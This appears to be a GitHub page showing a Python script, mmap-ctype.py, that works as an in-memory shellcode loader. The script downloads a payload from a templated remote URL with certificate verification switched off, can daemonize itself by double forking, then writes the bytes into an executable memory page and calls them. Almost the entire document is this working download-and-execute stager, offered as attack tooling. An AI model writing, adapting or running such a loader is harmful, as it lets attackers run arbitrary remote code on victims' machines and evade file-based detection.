-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmmap-ctype.py
executable file
·43 lines (36 loc) · 958 Bytes
/
mmap-ctype.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
import ctypes
import mmap
import os
import ssl
import urllib.request
# payload source, e.g. http://localhost/payload.bin
PAYLOAD_URL = '{{ SRVURL }}'
# fork to background
DAEMONIZE = False
# ---
assert os.name == 'posix'
# download without checking https certificates
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with urllib.request.urlopen(PAYLOAD_URL, context=ctx) as res:
shellcode = res.read()
if DAEMONIZE:
# double fork
pid = os.fork()
if pid != 0:
exit()
os.setsid()
pid = os.fork()
if pid != 0:
exit()
# map payload into memory and jump to it
size = len(shellcode)
with mmap.mmap(-1, size, prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC) as page:
page.write(shellcode)
buf = (ctypes.c_char * size).from_buffer(page)
addr = ctypes.addressof(buf)
fn = ctypes.CFUNCTYPE(None)(addr)
fn.page = page
fn()